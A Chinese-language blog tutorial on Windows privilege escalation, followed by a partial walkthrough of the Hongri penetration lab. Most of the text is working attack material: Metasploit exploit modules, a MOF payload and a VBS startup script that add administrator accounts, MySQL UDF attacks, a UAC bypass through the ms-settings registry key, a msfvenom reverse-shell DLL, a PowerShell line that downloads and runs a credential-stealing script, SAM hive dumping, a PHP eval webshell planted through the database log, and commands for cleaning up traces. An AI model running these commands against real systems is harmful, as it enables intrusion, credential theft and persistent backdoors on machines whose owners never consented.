liberator

天底下没有这样的道理,你不喜欢我,才是正常的

windows权限提升

内核漏洞提权

1.查找系统潜在漏洞

手动查找系统可用漏洞

在目标主机上执行命令:

1
systeminfo

可以得到比较详细的系统信息以及相关设置

借助WES-NG查找可用漏洞

windows exploit sugester项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

如果单独下载利用网上一大堆教程这里就不细说了,我们讲讲怎么利用meta sploit里面自带的WES-NG来进行利用

注:要使用local exploit suggester,我们必须已在目标机器上获取到了一个Meterpreter session。在运行Local Exploit suggester之前,我们需要将现有的Meterpreter session调到后台运行(CTRL + Z)

示例,假设我们现在有一个Meterpreter session 1

1
2
3
4
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.111.80
set SESSION 1
exploit

如下图所示,它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用模块。

2.确定并利用漏洞

在利用各种漏洞辅助查找工具列出漏洞之后,就对漏洞进行利用,常见的漏洞利用方式比如

利用上一步扫出来的漏洞进行攻击

1
2
3
4
use payload exploit/windows/local/bits_ntlm_token_impersonation 
show options
设置参数
run\exploit
提权常用方式
通过KiTrap0D提升Windows权限

此模块将通过KiTrap0D exploit创建具有SYSTEM权限的新会话,如果当前使用的会话权限已提升,则exploit将不会运行。该模块依赖于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。

该模块已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻击版本上进行了测试。

让我们转到MSF控制台并执行该漏洞的exploit模块

1
2
3
4
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit

一旦exploit成功执行,就会打开另一个Meterpreter session

1
2
getsystem
getuid

可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

Task Scheduler XML提权

此漏洞发生在Task Scheduler中,可允许用户提升权限。如果攻击者登录到受影响的系统,并运行特制应用程序,则该漏洞可能允许特权提升。攻击者必须拥有有效的登录凭据,并且能够在本地登录才能成功利用此漏洞。远程或匿名用户则无法利用此漏洞。

该模块已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻击版本上进行了测试。

让我们转到MSF控制台并执行该漏洞的exploit模块

1
2
3
4
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit

一旦exploit成功执行,就会打开另一个Meterpreter session

1
2
getsystem
getuid

这样就显示提权成功,但是请注意系统适配问题,比如我的windows server 2008 R2就没有这个漏洞

MS16-016 mrxdav.sys WebDav本地提权

此模块利用了mrxdav.sys中的漏洞。其将在目标系统生成一个进程,并在执行payload之前将其权限提升到NT AUTHORITY\SYSTEM。

该模块已在Windows 7 SP1,x86架构的易受攻击版本上进行了测试。但是请注意这个模块只能攻击32位系统而无法攻击64位系统的

让我们转到MSF控制台并执行该漏洞的exploit模块

1
2
3
4
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit

一旦exploit成功执行,就会打开另一个Meterpreter session

1
2
getsystem
getuid

可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

EPATHOBJ::pprFlattenRec本地提权

此模块利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要问题出在使用了未初始化的数据(即允许损坏内存)。

目前,该模块已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功进行了测试。这个模块的攻击依旧只支持32位的操作系统攻击

让我们转到MSF控制台并执行该漏洞的exploit模块

1
2
3
4
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit

一旦exploit成功执行,就会打开另一个Meterpreter session

1
2
getsystem
getuid

可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

MS13-053 : NTUserMessageCall Win32k内核池溢出

Win32k中的内核池溢出漏洞,可允许本地用户提权。内核shellcode使winlogon.exe进程的ACL为NULL(SYSTEM进程)。这将允许任何非特权进程自由迁移到winlogon.exe,从而提升用户权限。注意:退出meterpreter会话时,可能会导致winlogon.exe崩溃。

目前,该模块已在Windows 7 SP1 x86上成功测试。

让我们转到MSF控制台并执行该漏洞的exploit模块

1
2
3
4
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit

一旦exploit成功执行,就会打开另一个Meterpreter session

1
2
getsystem
getuid

可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

MS16-032 Secondary Logon Handle提权

此模块利用了Windows Secondary Logon Service中缺少标准句柄过滤的问题。该漏洞主要影响Windows 7-10和2k8-2k12 32/64位版本。此模块仅适用于具有Powershell 2.0或更高版本的Windows系统,以及具有至少两个或以上CPU内核的系统。

1
2
3
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit

一旦exploit成功执行,就会打开另一个Meterpreter session

1
2
getsystem
getuid

系统服务提权

大多数系统服务都是以系统权限(SYSTEM)启动的,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,从主观来讲,系统服务提权可以归咎于用户的配置疏忽或错误

漏洞查找

Accesschk可以枚举系统上存在权限缺陷的系统服务

1
accesschk.exe -d "c:\users"

在您提供的命令中,”-d”参数表示显示指定路径下的所有子目录和文件的权限信息。而”c:\users”则是指定的路径,它将显示”c:\users”目录以及其子目录和文件的权限信息。

后续相关使用网上有大量教程,这里就不再细说了

不安全注册表提权

Windows的服务路径存储在Windows的注册表中,若注册表配置不当,当攻击者可以发现使用低权限可以更改注册表的选项的时候,就可以导致提权,可以将 imagepath 修改成恶意的文件,重启导致提权

1
2
3
4
# 存储Windows服务有关的信息 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
# 服务对应的程序路径存储
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath
复现

1.新建一个服务,test

1
sc create test binpath= "C:\1.exe"

这样就表示新建一个服务成功

或者在CS或者msf上线之后执行:

1
shell subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\Services\test" /grant=apache=f

2、打开注册表给该文件权限

3、先使用MSF或者CS上线靶机

4.查询计算机中的所有服务

1
sc query type= all state= all |findstr /i service_name.* |more

5.使用subinacl进行查询提权

1
shell subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\Services\test" /display

6.查看上传的cs的恶意程序文件路劲并记录下来

7.替换该文件为恶意的文件或者修改文件的路径

1
reg add "HKEY_LOCAL_MACHINE\system\ControlSet001\Services\test" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\apache\Desktop\1.exe" /f

8.查询是否替换

1
reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\test /v imagepath

这里可以看到我们的服务路劲已经被篡改了

9.这个时候apache是没有权限启动服务的,需要管理员重启电脑

这里我们模拟管理员启动这个服务

1
sc strat test

10.提权成功

不带引号的服务路径提权

一、漏洞原理

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

路径没有包含在引号中,服务会按照以下顺序依次执行

1
2
3
4
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe

假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell

使用以下命令查看系统中错误配置的路径

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

二、编译一个可执行程序

要求:

  • 运行后执行系统命令whoami
  • 在当前目生成一个.txt文件,内容为whoami的执行结果
  • 程序命名为program.exe
  • 程序执行后自动删除(以免影响正常服务启动)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
"fmt"
"io/ioutil"
"log"
"os/exec"
)

func main() {

//cmdOutput, err := exec.Command("python", "whoami").Output()
cmdOutput, err := exec.Command("whoami").Output() // 执行系统命令
if err != nil {
log.Fatal(err)
}

err1 := ioutil.WriteFile("whoami.txt", cmdOutput, 0644)
if err1 != nil {
panic(err)
}

fmt.Printf("%s", cmdOutput)

}

编译:go build -o Program.exe

这里也可以使用MSF生成一个反弹shell的exe

三、漏洞复现

1、将可执行程序上传至靶机Windows2008 R2

2、重启靶机

查看同上传程序的目录下生成的whoami.txt内容中权限是否为system

数据库提权

1.MYSQL提权

UDF提权

UDF指的是用户自定义函数,用户可以对数据库所使用的函数进行一个扩展(利用dll文件),从而定制一些符合自己需求的函数,但是同样的,当黑客获取了数据库的root用户的一个权限时,即使所在的系统权限很低,也可以使用UDF来自定义一个执行系统命令的函数,但是执行权限为管理员权限,从而可以用来添加管理员账户,远程连接。
首先我们需要拥有mysql数据库的root权限,由于mysql的版本不同,udf提权的方式也不同。

mysql版本>5.1 需要在mysql的安装目录下创建 lib\plugin 这个文件夹(默认不存在,需要手动创建),之后将把dll文件放在这个文件夹中;
mysql版本<5.1 需要将dll文件放在 C:\windows\或C:\windows\system32。

注意:提权所用的dll在sqlmap或msf中都有,要与受害机的系统与数据库位数进行匹配。

首先执行命令查看是否允许写入文件:

1
show global variables like 'secure_file_priv';

secure_file_priv的值如果为NULL,就表示不允许写入,如果什么值都没有,就表示可写入任何路径,如果有特定的值就表示只能在特定的路径写入

可以看到允许任意路径写入

但是这里我们利用MSF进行攻击,需要远程连接该主机的数据库,所以要提前查看,该数据库是否可以远程连接。

1
select host,user from user;

上图发现root用户的连接对象都是本地,这里使用sql语句进行修改,将其改为允许远程连接
这条语句来修改连接对象为所有主机

(这里允许了远程连接后,好像要重启mysql服务)

1
update user set host = '%' where user = 'root';

现在就可以实现远程登录了

1
2
3
4
5
msfconsole
set rhost 192.168.100.7
set password root
set lhost 192.168.100.23
run

攻击完之后,在受害机的lib\plugin目录下将会生成一个dll文件。
之后查看已载入的函数并尝试执行。

1
2
3
use mysql;
select * from func;
select sys_exec('whoami');

由于该命令没有回显,不方便,所以我们需要手动的加载一个有回显的函数。

1
2
create function sys_eval returns string soname 'waZzYnWC.dll';
select * from func;

这里的dll文件的名称是msf随机的,利用该条命令载入了sys_eval函数(dll文件名称如下)

这里的dll文件的名称是msf随机的,利用该条命令载入了sys_eval函数

1
select sys_eval('whoami');
mof提权

在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将想要的操作通过代码存储到这个mof文件中,就可以实现权限提升

利用条件

  1. 仅限windows 及适用于windows server2003及以下的版本
  2. mysql用户具有root权限(对上面那个目录可写)
  3. secure_file_priv参数不为NULL

利用方式

拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权

使用sql语句,通过mysql的dumpfile操作将恶意mof文件拷贝到服务器的c:/windows/system32/wbem/mof/目录下,将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件

1
select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
利用方法

1.使用msf自带的mof模块提权

1
2
3
4
5
6
7
8
9
10
use exploit/windows/mysql/mysql_mof

# 设置payload
set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

mof脚本的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

其中核心payload为:

1
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

2.手动写入提权

将上述mof脚本制作test.mof写入mof目录下,使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件:

1
select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";
提权扫尾工作

痕迹清理:每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt
开机启动项提权

提权原理

利用Mysql,将后门文件写入开机自启动项,同时因为是开机自启动,再写入之后,需要重启目标服务器(这个要求mysql的权限就很高,至少是管理员权限,甚至是system),该实验只能在windows中使用。

是将一段 VBS脚本导入到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!

利用方式

1.直接上传脚本

VBS 提权脚本代码如下:

1
2
3
4
5
6
7
8
9
setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","secist")
od.SetPassword "secist.com"
od.SetInfo
Set of=GetObject(os&"/secist",user)
oe.add os&"/secist"

将以上代码保存为 .vbs 后缀的文件上传即可

通过大马的MYSQL执行功能,利用SQL命令来进行VBS脚本的创建和添加

1
2
3
4
5
create table secist(cmd text);
insert into secist values("set wshshell=createobject(""wscript.shell"")");
insert into secist values("a=wshshell.run(""cmd.exe /c net user secist secist.com /add"",0)");
insert into secist values("b=wshshell.run(""cmd.exe /c net localgroup administrators secist /add"",0)");
select * from secist into dumpfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs";

但这样直接写入目标文件夹可能会报错,也可以先写入其他路径下的一个文件夹,再将生成的文件移动到我们的目标目录下

命令实现:

1
select * from a into outfile "C:\\WINDOWS\\TEMP\\secist.vbs"

生成之后再将文件移动到目标目录下即可

组策略首选项提权

Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

组策略的发展

域环境下的密码难题

在Windows server 2003中,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式,贴三好学生大佬的代码:

1
2
3
strComputer = "."Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
SYSVOL

这种方式十分简便,但也存在着极大的弊端,弊端在于修改后的密码会明文保存在vbs脚本中 而该vbs脚本通常会保存在共享文件夹SYSVOL 这就存在一个隐患: 任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码。

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。

所有的组策略均存储在如下位置:

1
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
组策略偏好GPP

在2006年,微软收购了桌面标准的“PolicyMaker”,并重新借此与win2008发布了GPP(Group Policy Preferences)。其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:

1
映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码

在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。

通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。

环境要求

组策略首选项功能是windows server 2008引入的,并且08之后都已经打过该漏洞的补丁

复现

在运行中输入,gpmc.msc,进入组策略管理。

右击:组策略–>新建:

右击test(刚刚创建好的组策略对象)–>编辑,来到如下位置:

右击:本地用户和组–>新建–>本地用户:

操作–>更新

在这里所设置的密码一定要记住

回到组策略管理,设置组策略的对象,添加Domain Computers到组策略组中:

Domain Computers为加入到域中的所有工作站和服务器,

查看组策略对象test的详细信息:

可到该组策略对应的ID为:{F63F5863-A1E6-42FA-8DFC-90100822D271}

至此,组策略配置完成,域内主机重新登录。

管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即Groups.xml,该文件中保存了该组策略更新后的密码。

域内主机重新登录,即可在目录下C:\Windows\SYSVOL\domain\Policies查看ID相对应的策略。

继续查看,找到文件Groups.xml,路径为:

1
C:\Windows\SYSVOL\domain\Policies\{F63F5863-A1E6-42FA-8DFC-90100822D271}\Machine\Preferences\Groups

查看文件内容:

其中的关注点为cpassword:

1
D6vPChr5erlSuaRcFDpblki+IBhRnKaAju256h3ampo

此密码的加密方式为AES-256。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。

The 32-byte AES key is as follows:

1
2
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

密码的破解方式:

  • kali命令:

针对此密码,我们可以使用kali自带的命令gpp-decrypt进行破解:

这里就可以看到破解出来的密码为我们一开始为组策略添加用户时所写的密码。

  • msf模块

可使用msf后渗透模块run post/windows/gather/credentials/gpp

效果如下:

这里就和上一个kali的方式一样,拿到了明文的密码

  • Powersplot

我们利用的是powersploit里面的Get-GPPPassword模块

如下三种使用方式:

1
2
3
4
5
powershell -executionpolicy bypass -file Get-GPPPassword.ps1

Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

但在实验过程中,由于2008系统中powershell的版本问题,并未利用成功。

升级到powershell3.0版本就可利用成功,在此就不演示了。

MSI安装策略提权

前置知识

MSI文件的由来

说到MSI文件,不得不先说说Windows Installer,它不只是安装程序,而是可扩展的软件管理系统。Windows Installer的用途包括:管理软件的安装、管理软件组件的添加和删除、监视文件的复原以及使用回滚技术维护基本的灾难恢复。另外,Windows Installer还支持从多个源位置安装和运行软件,而且可以由想要安装自定义程序的开发人员自定义。要想使用这些功能,就必须通过MSI文件。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI文件将程序的组成文件与功能关联起来。此外,它还包含有关安装过程本身的信息:如安装序列、目标文件夹路径、系统依赖项、安装选项和控制安装过程的属性。

MSI的优势

Windows Installer技术就是合并在一起发挥作用的两个部分:客户端安装程序服务(Msiexec.exe) 和Microsoft软件安装(MSI)软件包文件。

当双击MSI文件的时候,与之关联的Windows Installer 的一个文件Msiexec.exe 被调用,它将用Msi.dll读取软件包文件(.msi)、应用转换文件(.mst)进行进一步处理,然后 Windows Installer 执行所有与安装有关的任务:包括将文件复制到硬盘、修改注册表、创建桌面快捷方式,必要时显示提示对话框以便用户输入安装需要的信息,就这样,一个程序安装到了你的电脑上。
采用MSI安装的优势在于你可以随时彻底删除它们,更改安装选项,即使安装中途出现意想不到的错误,一样可以安全地恢复到以前的状态,正是凭着此强大功能,越来越多的软件开始使用MSI作为发行的方式了。   如果你对MSI文件感兴趣,可以用WinRAR等压缩软件打开,看一下里面的内容,满足一下好奇心。

漏洞原理

MSI安装策略提权是由于用户在配置MSI安装策略时,启用了“永远以高特权进行安装”,使得任何权限的用户都可以通过SYSTEM权限安装MSI程序,此时测试人员可以在目标主机上安装一个预先制作的恶意MSI文件,以获得MSI权限

确定系统是否存在漏洞

可以通过一下命令来确定能否实现AlwaysInstallElevated,因为能否利用此提权的原理是用户在配置MSi安装策略时启用了“永远以高特权进行安装”,该选项启用后,系统会自动在注册表的以下两个位置创建键值“1”.

1
2
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKET_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

可以通过以下命令来看是否开启了永远以高特权进行安装:

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

这样就表示还没有打开所需要的选项

激活AlwaysInstallElevated

注意:这里计算机配置和用户配置都需要被激活
打开运行栏(win+R),输入”gpedit.msc”,即可进入本地组策略编辑器界面,然后路径设置:计算机配置–管理模板–Windows组件–Windows Installer,点击始终以提升的权限进行安装,选择已启用,点击确定即可
用户配置–管理模板–Windows组件–Windows Installer,点击始终以提升的权限进行安装,选择已启用,点击确定即可

从未配置点击到已启用,然后点击确定或应用即可

也可以通过注册表进行修改

1
2
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

但是需要修改注册表有下面两权限:

1
2
SeRestorePrivilege
SeTakeOwnershipPrivilege

使用whoami /priv可以查看权限。

nq

再次使用之前的命令进行查看,就可以看到此项权限已经成功开启了

也可以利用powerup里面的特定模块查看该选项是否被打开

绕过UAC提权

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证

UAC限制所有用户包括非RID500的管理员用户使用标准用户登陆到他们的计算机,并在标准用户的安全性上下文中访问资源和运行应用,当RID非500的管理员用户登陆以后,系统会为其创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌,标准用户访问令牌包含与管理员访问令牌相同的用户特定信息,只是移除了windows管理特权和相关SID,标准用户访问令牌用于启动不执行管理任务的应用程序,当管理员需要执行高管理权限任务时,windows会自动提示予以批准。

需要UAC的授权才能进行的操作列表如下:

  • 配置Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其它用户的文件夹

使用msf模块复现

1
2
use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

MSF中Bypassuac模块的使用前提有两个:

  1. 一是系统当前用户必须在管理员组中,
  2. 二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
1
2
3
4
5
use exploit/windows/local/bypassuac
set session 1 #已经拿下一个交互式会话,background设置为后台之后的sessionID
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit

这里获取的test用户在管理员组中,且 UAC设置为默认,使用exploit/windows/local/bypassuac模块,攻击第二次成功!

这里获取的test用户在管理员组中,且 UAC设置为默认,使用use exploit/windows/local/bypassuac_injection模块,连续攻击两次都失败。提示32位的目标攻击64位的系统,但是我这里是使用的64为的target,也还是失败。

1
2
3
4
5
6
use exploit/windows/local/bypassuac_injection
set session 1
set target 1 #设置目标系统类型,1是64位,0是32位
set lhost 0.0.0.0
set lport 24444
exploit

UAC白名单

微软在用户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默的方式自动提升到管理员权限运行,如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、CompMgmtLauncher.exe、rundll32.exe、explorer.exe,测试人员可以通过对这些白名单进行DLL劫持、DLL注入或者注册表劫持等,绕过UAC并提升权限。

寻找白名单工具,由微软提供的Sigcheck和Strings。

白名单程序拥有一个共同的特性,就是Mani数据中autoElevate属性的值为true,sigcheck可以检测目标程序是否具有autoElevate属性,以computerdefaults.exe为例:

1
sigcheck.exe /accepteula -m C:/Windows/System32/ComputerDefaults.exe

Strings可以出现所有具有autoElevate属性的程序:

1
strings.exe /accepteula -s C:/Windows/System32/*.exe  | findstr /i "autoElevate"

利用UAC白名单复现

执行如下命令:

1
2
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\Windows\System32\cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

这样就在HKCU\Software\Classes\ms-settings\shell\open\command(如果没有就创建)将要执行的攻击载荷分别写入“默认”值和“DelegateExecute”值(这里写入的是cmd的路径)标准用户对该注册表键值有修改权限,并且对HKCU的修改会自动同步到HKCR

将上面的注册表命令输入到命令行里面执行之后,再次运行ComputerDefaults.exe,就会自启动运行cmd.exe

这里可以看到随着ComputerDefaults的启用,cmd也随之启动了。

DLL劫持

windows中有很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库文件,其中包含程序运行所使用的代码和数据,当应用程序启动时,相应的DLL文件就会被加载到程序进程的空间,测试人员可以通过一些手段,欺骗合法的、受信任的应用程序加载任意的DLL文件,从而造成DLL劫持。

使用msf生成恶意dll文件

1
2
3
4
5
6
7
 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=5566 -f dll -o libssl-1_1.dll
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5566
run

生成之后,把生成的dll替换进去,然后再次执行应用,msf接收到反弹shell,上线成功

模拟可信任目录

根据去我们对于绕过UAC的前置知识的讲解,可以知道对于UAC程序来讲,系统会通过两个条件来判断是否可以进行自动权限提升

1.会读取程序的Manifest信息里面的autoElevate的值,如果这个值为true,系统就认为这个程序可以自动进行权限提升

2.系统会检测可执行文件的签名,这也就意味着无法通过伪造来绕过第一个条件

3.系统会检测可执行文件是否位于收信任目录中,比如C:\windows\System32目录

但是对于第三个条件,系统在检测可信任目录时,相关函数会自动去掉可执行文件路径中的空格,基于此原理,我们可以根据可信任目录来创建一个包含尾随空格的模拟受信任目录,将一个白名单程序复制到该收信任目录中,配合DLL劫持就可以绕过UAC。

HighNightmare

漏洞背景就不细说了,系统保护在Windows操作系统中默认应用,因此如果已创建系统还原点,那么标准用户可直接从卷影副本中访问和转储SAM、SYSTEM、SEVURITY文件,这些文件在系统中的原始路径如下:

1
2
3
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SYSTEM

以标准用户执行以下命令:

1
icacls C:\Windows\System32\config\SAM

当输出BUILTIN\Users:(I)(RX)就表示该系统易受攻击

将保存好的HighNightmare.exe传上靶机并执行

使用impacket-secretsdump工具获取用户Hash值,如图:
将上一步生成的文件传到kali里,然后执行命令:

1
impacket-secretsdump   -sam   SAM-2021-09-10 -system   SYSTEM-2021-09-10  -security  SECURITY-2021-09-10  LOCAL

使用impacket-psexec工具,通过传递Hash利用SMB服务获取目标系统SYSTEM权限,如图:

红日靶场1-2复现

红日靶场1

初始的密码都是:hongrisec@2019,我登陆时有的机器会提示我密码过期,更改密码即可。

win7:hongrisec@2019

win2008:yyb167111@

win2k3:yyb167111@

1
2
3
4
win2003				192.168.52.141
windows2008 192.168.52.138
win7 192.168.52.143/192.168.92.130(外网)
kali 192.168.92.129

根据前期的搭建,我们开启了win7的web服务,并且相互都ping通了,这是网上到处都有的对于各机器之间的关联拓扑图

1.外网边界突破

信息搜集

老规矩,首先使用nmap扫描一下端口

1
nmap -A -p- 192.168.204.128

可以看到,80端口开放了http服务,3306端口开放了mysql服务

先访问80端口看看

再使用diresearch扫一下目录

发现有myadmin,应该是数据库面板登录界面,猜测是弱口令,直接root/root进行登录

直接进入了后台

MYSQL进行getshell

写文件getshell

先看是否额可以写入文件

1
show global variables like '%secure%'

为NULL不可写入文件
要想修改 Value值 只能通过配置文件 mysql.ini 修改
放弃

日志文件getshell

查看日志功能是否开启

1
show global variables like '%general%'

可以看到是没有开启的,下面就用命令开启日志功能

1
set global general_log='ON'

开启后将日志文件的存储位置改为可访问到的目录, 根目录即可

1
set global  general_log_file = 'C:/phpStudy/WWW/1.php'

执行下边一句话木马 数据库将会将查询语句保存在日志文件中

1
SELECT '<?php @eval($_POST["cmd"]); ?>'

接下来访问日志文件用后门密码连接即可(日志文件刚刚已经被我们改写为了根目录下的1.php文件)

连接成功

yxcms后台上传getshell(另一种getshell的方法)

前面我们蚁剑连接shell登录进去之后发现yxcms,访问/yxcms

在公告里面发现了可以登录的账号信息

成功登录后台

